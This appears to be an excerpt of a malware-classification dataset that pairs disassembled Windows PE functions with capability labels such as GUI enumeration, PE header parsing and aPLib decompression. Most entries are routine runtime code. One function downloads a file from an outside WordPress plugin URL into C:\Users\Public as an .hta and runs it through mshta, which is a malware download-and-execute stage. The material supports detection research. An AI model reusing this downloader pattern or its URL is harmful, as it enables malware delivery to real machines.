joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007eb60
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x11be0]
mov eax, 0x11ce0
call fcn.1400ae8c0
sub rsp, rax
mov r10, qword [rbp + 0x11c10]
mov rdi, rcx
movzx ecx, word [rdx]
mov r11d, 0xffdf
lea eax, [rcx - 0x41]
test r11w, ax
jne 0x14007ec14
cmp word [rdx + 2], 0
jne 0x14007ec14
cmp word [r8], 0
jne 0x14007ec14
cmp word [r9], 0
jne 0x14007ec14
cmp word [r10], 0
jne 0x14007ec14
mov qword [rsp + 0x11cf0], rbx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
test rax, rax
je 0x14007ebe3
cmp byte [rdi + 0x122], 0
jne 0x14007ebe3
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
test eax, eax
cmove rbx, rcx
cmp byte [rbp + 0x11c20], 0
je 0x14007ebf8
test rbx, rbx
je 0x14007ebf8
mov qword [rdi + 0xf0], rbx
mov rax, rbx
mov rbx, qword [rsp + 0x11cf0]
mov rdi, qword [rsp + 0x11cf8]
add rsp, 0x11ce0
pop rbp
ret
test cx, cx
jne 0x14007ec44
cmp word [r8], cx
jne 0x14007ec44
cmp word [r9], cx
jne 0x14007ec44
cmp word [r10], cx
jne 0x14007ec44
mov rcx, rdi
call fcn.14007edc0
mov rdi, qword [rsp + 0x11cf8]
add rsp, 0x11ce0
pop rbp
ret
xor ecx, ecx
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], r9
lea rax, [0x1400bdf7c]
mov r9, r8
mov dword [rsp + 0x30], ecx
mov r8, rdx
mov byte [rbp + 0x1781], cl
mov dword [rbp + 0x1784], ecx
xorps xmm0, xmm0
mov qword [rbp + 0x1788], rcx
mov rdx, rdi
mov dword [rbp + 0x17a0], ecx
mov qword [rbp + 0x17a8], rcx
mov qword [rbp + 0x17b8], rcx
mov qword [rbp + 0x17c0], rcx
lea rcx, [rsp + 0x30]
mov qword [rbp + 0xf48], rax
movdqa xmmword [rbp + 0x1790], xmm0
call fcn.14007fb60
test eax, eax
je 0x14007ed66
test byte [rsp + 0x30], 2
movzx eax, byte [rbp + 0x11c18]
mov byte [rbp + 0x1781], al
mov rax, qword [rbp + 0x11c28]
mov qword [rbp + 0x1798], rax
mov eax, dword [rbp + 0x11c30]
mov dword [rbp + 0x17a0], eax
je 0x14007ed79
mov rax, qword [rbp + 0xf68]
cmp rax, 0xffff
je 0x14007ed3b
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14007ed66
cmp byte [rdi + 0x122], 0
jne 0x14007ed34
mov rcx, qword [rbp + 0xf68]
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x14007ed34
mov rcx, qword [rbp + 0xf68]
lea edx, [rax - 0x10]
call qword [sym.imp.USER32.dll_GetWindowLongW]
bt eax, 0x1e
jae 0x14007ed66
mov rax, qword [rbp + 0xf68]
cmp qword [rbp + 0x17c0], rax
je 0x14007ed55
lea rcx, [rsp + 0x30]
mov qword [rbp + 0x17c0], rax
call fcn.14007ffc0
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400800b0
test rax, rax
jne 0x14007ed8b
xor eax, eax
mov rdi, qword [rsp + 0x11cf8]
add rsp, 0x11ce0
pop rbp
ret
lea rdx, [rsp + 0x30]
lea rcx, [0x14007ee50]
call qword [sym.imp.USER32.dll_EnumWindows]
cmp byte [rbp + 0x11c20], 0
mov rax, qword [rbp + 0x1788]
je 0x14007eda7
test rax, rax
je 0x14007eda7
mov qword [rdi + 0xf0], rax
mov rdi, qword [rsp + 0x11cf8]
add rsp, 0x11ce0
pop rbp
ret
Function at 0x14007ffc0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x1890]
test rcx, rcx
je 0x1400800a3
mov eax, dword [rbx]
test eax, eax
je 0x1400800a3
mov qword [rsp + 0x38], rsi
xor esi, esi
mov qword [rsp + 0x40], rdi
test al, 1
jne 0x14007ffff
mov rax, qword [rbx + 0x1018]
cmp word [rax], si
je 0x14008001d
mov r8d, 0x7fff
lea rdx, [rbx + 0x189c]
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x14008001d
mov word [rbx + 0x189c], si
test byte [rbx], 4
je 0x140080036
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1898]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test byte [rbx], 0x20
je 0x140080074
mov rcx, qword [rbx + 0x1890]
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x140080074
movzx r9d, byte [rbx + 0x1850]
lea rdx, [rbx + 0x11a9c]
mov ecx, dword [rsp + 0x30]
call fcn.140054070
test eax, eax
jne 0x140080074
mov word [rbx + 0x11a9c], si
test byte [rbx], 8
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
je 0x1400800a3
mov rcx, qword [rbx + 0x1890]
lea rdx, [rbx + 0x1189a]
mov r8d, 0x101
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_GetClassNameW]
add rsp, 0x20
pop rbx
ret

Function at 0x140080830
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11cd8
call fcn.1400ae8c0
sub rsp, rax
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1400808ea
xor r9d, r9d
mov byte [rsp + 0x18a0], dl
lea rcx, [0x1400bdf7c]
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x1038], rcx
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
mov byte [rsp + 0x1871], r9b
lea rcx, [0x140081060]
mov dword [rsp + 0x1874], r9d
mov qword [rsp + 0x1878], r9
movdqa xmmword [rsp + 0x1880], xmm0
mov dword [rsp + 0x1890], r9d
mov qword [rsp + 0x18a8], r9
mov qword [rsp + 0x18b0], r9
mov qword [rsp + 0x1898], rax
mov dword [rsp + 0x18a4], r8d
call qword [sym.imp.USER32.dll_EnumWindows]
cmp qword [rsp + 0x1878], 0
je 0x1400808ea
mov rax, qword [0x1400edaa8]
mov ecx, dword [rax + 0x74]
cmp ecx, 0xffffffff
jle 0x1400808ea
mov edx, 1
call fcn.140001800
mov eax, 1
add rsp, 0x11cd8
ret
Function at 0x140080bf0
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
mov eax, 0x11ce0
call fcn.1400ae8c0
sub rsp, rax
cmp qword [rcx + 0x10], 0
movzx esi, dl
mov rbx, rcx
jne 0x140080c26
mov eax, 1
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rsi
ret
mov qword [rsp + 0x11cf0], rbp
xor ebp, ebp
cmp qword [0x1400f5938], rcx
mov byte [rcx], 0
je 0x140080c49
mov qword [0x1400f5938], rcx
mov dword [0x1400f5934], ebp
cmp qword [0x1400f5940], rbp
jne 0x140080c6c
mov ecx, 0xfa0
call fcn.140077140
mov qword [0x1400f5940], rax
test rax, rax
je 0x140080de3
mov qword [rsp + 0x11cf8], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [0x1400edaa8]
mov rcx, rbx
mov rdx, rax
mov rdi, rax
call fcn.140080e00
mov ecx, dword [0x1400f5934]
test rax, rax
lea rax, [0x1400bdf7c]
mov dword [rsp + 0x30], ebp
cmovne ecx, ebp
mov qword [rsp + 0x1048], rax
mov dword [0x1400f5934], ecx
mov dword [rsp + 0x1884], ebp
mov qword [rsp + 0x1888], rbp
mov qword [rsp + 0x1890], rbp
mov qword [rsp + 0x18b8], rbp
mov qword [rsp + 0x18c0], rbp
test sil, sil
je 0x140080cec
mov byte [rsp + 0x1881], bpl
test ecx, ecx
je 0x140080cf4
mov byte [rsp + 0x1881], 1
mov rax, qword [0x1400f5940]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x1898], rax
mov rax, qword [rbx + 0x10]
mov dword [rsp + 0x18a0], ecx
lea rcx, [0x140080f20]
mov qword [rsp + 0x18a8], rax
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x1888]
test rax, rax
je 0x140080daa
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
lea rcx, [0x14007f880]
mov qword [rsp + 0x28], rbp
call qword [sym.imp.USER32.dll_EnumWindows]
mov r10, qword [rsp + 0x28]
test r10, r10
je 0x140080d72
mov rcx, qword [rsp + 0x1888]
call fcn.1400805e0
mov qword [rsp + 0x1888], r10
jmp 0x140080d7a
mov r10, qword [rsp + 0x1888]
mov rcx, r10
call fcn.14007e590
mov rcx, qword [rsp + 0x1888]
call fcn.1400805e0
mov rcx, qword [0x1400edaa8]
mov ecx, dword [rcx + 0x74]
cmp ecx, 0xffffffff
jle 0x140080dd6
mov edx, 1
call fcn.140001800
jmp 0x140080dd6
mov eax, dword [0x1400f5934]
test eax, eax
je 0x140080dd6
cmp eax, 1
mov dword [0x1400f5934], ebp
setg al
test al, al
je 0x140080dd6
mov rcx, rdi
call fcn.1400805e0
xor edx, edx
mov rcx, rbx
call fcn.140080bf0
mov rdi, qword [rsp + 0x11cf8]
mov eax, 1
mov rbp, qword [rsp + 0x11cf0]
mov rbx, qword [rsp + 0x11d00]
add rsp, 0x11ce0
pop rsi
ret
Function at 0x140095110
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1400951a1
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x1400951a1
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400951a1
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140095185
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14009517f
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140095187
add rdx, 0x28
jmp 0x140095164
xor edx, edx
test rdx, rdx
jne 0x140095190
xor al, al
jmp 0x1400951a7
test dword [rdx + 0x24], 0x80000000
je 0x14009519d
xor al, al
jmp 0x1400951a7
mov al, 1
jmp 0x1400951a7
xor al, al
jmp 0x1400951a7
add rsp, 0x18
ret

Function at 0x14009d4f8
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14009d2cc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009d2cc
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009d2cc
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009d2cc
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009d2cc
cmp dword [rcx + 0x84], 0xe
jbe 0x14009d2cc
cmp dword [rcx + 0xf8], esi
je 0x14009d2cc
mov ecx, r14d
call fcn.14009d414
mov ecx, 2
call fcn.1400a66b4
nop
cmp byte [0x1400f00d0], 0
jne 0x14009d396
mov r15d, 1
mov eax, r15d
xchg dword [0x1400f00c4], eax
test ebx, ebx
jne 0x14009d33f
mov rdi, qword [0x1400ed018]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1400f00c8]
cmp rcx, rax
je 0x14009d336
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400149a0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400f00f8]
jmp 0x14009d34b
cmp ebx, r15d
jne 0x14009d351
lea rcx, [0x1400f0110]
call fcn.1400a2f60
nop
test ebx, ebx
jne 0x14009d368
lea rdx, [0x1400b5ee8]
lea rcx, [0x1400b5ec8]
call fcn.1400a3668
lea rdx, [0x1400b5ef8]
lea rcx, [0x1400b5ef0]
call fcn.1400a3668
movzx eax, byte [0x1400f00d0]
test esi, esi
cmove eax, r15d
mov byte [0x1400f00d0], al
jmp 0x14009d396
mov ecx, 2
call fcn.1400a6708
test esi, esi
jne 0x14009d3ad
mov ecx, r14d
call fcn.14009d3c8
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14009d25c
Function at 0x313c313a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x313c315b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.313c322b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.313c322b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x313c31620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x313c37064]
mov r12, rcx
test ebx, ebx
jle 0x313c31750
mov rax, qword [0x313c37068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x313c3166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x313c316f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x313c31650
mov rcx, r12
call fcn.313c31da0
mov rsi, rax
test rax, rax
je 0x313c31772
mov rax, qword [0x313c37068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.313c31ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x313c37068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x313c31757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x313c316ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x313c31700
add dword [0x313c37064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x313c37068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x313c316ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.313c315b0
nop dword [rax]
xor ebx, ebx
jmp 0x313c31677
mov rax, qword [0x313c37068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.313c315b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.313c315b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x313c31a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x313c370a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x313c37080]
test rbx, rbx
je 0x313c31a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x313c31a5b
test r12, r12
je 0x313c31a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x313c31a40
lea rcx, [0x313c370a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x313c31da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x313c342c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x313c31dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x313c31dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x313c31dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x313c31e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x313c31e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x313c31dc0
add rax, 0x28
cmp rax, r9
jne 0x313c31df8
xor eax, eax
ret

Function at 0x313c31e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x313c342c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x313c31e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x313c31e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x313c31e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x313c31ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x313c342c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x313c31ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x313c31ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x14000c980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c9cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c9c4
cmp dword [rcx + 0x3c], edx
jl 0x14000c9c4
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c9c4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c9cc
mov rax, rdx
add rsp, 0x18
ret

Function at 0x141224058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1412241df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141224089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14122406f
add dl, dl
jne 0x141224096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412240f6
xor eax, eax
add dl, dl
jne 0x1412240a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412241ad
add dl, dl
jne 0x1412240b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412240c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412240d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412240dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1412240ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14122407e
mov eax, 1
add dl, dl
jne 0x141224106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141224113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412240fb
sub eax, ebx
mov ebx, 1
jne 0x14122414c
mov ecx, 1
add dl, dl
jne 0x14122412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14122413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141224123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14122407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141224168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141224175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14122415d
cmp eax, 0x7d00
jae 0x14122419b
cmp eax, 0x500
jb 0x141224196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14122407e
cmp eax, 0x7f
ja 0x14122419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14122407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1412241d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14122407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14008c034
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008c07e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008c07e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008c07e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008c07e
cmp dword [rcx + 0x84], 0xe
jbe 0x14008c07e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14008c080
xor al, al
add rsp, 0x28
ret

Function at 0x14009f130
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14009eeb8
Function at 0x1400cc5c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400cc5f4
xor eax, eax
jmp 0x1400cc6b7
mov rbp, rbx
cmp word [rax], si
je 0x1400cc619
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400cc600
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400cc5fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400cc444
movsxd r14, eax
test eax, eax
jne 0x1400cc657
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400cc5ed
mov rcx, r14
call fcn.1400c875c
mov rdi, rax
test rax, rax
jne 0x1400cc670
xor ecx, ecx
call fcn.1400c87c4
jmp 0x1400cc64c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400cc444
test eax, eax
jne 0x1400cc6a1
mov rcx, rdi
call fcn.1400c87c4
jmp 0x1400cc6ab
xor ecx, ecx
call fcn.1400c87c4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400d86b8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400ca3ec
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400d8742
cmp byte [rbp - 0x21], r15b
je 0x1400d873d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400d8778
call fcn.1400d2fe4
test eax, eax
jne 0x1400d8764
cmp byte [rbp - 0x21], r15b
je 0x1400d875c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400d8778
cmp byte [rbp - 0x21], r15b
je 0x1400d8775
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400c918c
test eax, eax
jne 0x1400d8818
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400ca3ec
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400d87b7
cmp byte [rbp - 0x21], r15b
je 0x1400d87ec
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400d87ec
call fcn.1400d2fe4
test eax, eax
jne 0x1400d87d8
cmp byte [rbp - 0x21], r15b
je 0x1400d87d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400d87ec
cmp byte [rbp - 0x21], r15b
je 0x1400d87e9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400c918c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400d8818
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400d881b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400d8829
mov rcx, rdi
call fcn.1400c87c4
cmp byte [rbp + 0x3f], r15b
je 0x1400d8838
mov rcx, qword [rbp + 0x27]
call fcn.1400c87c4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400e5360
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400e5388
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400e5388
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret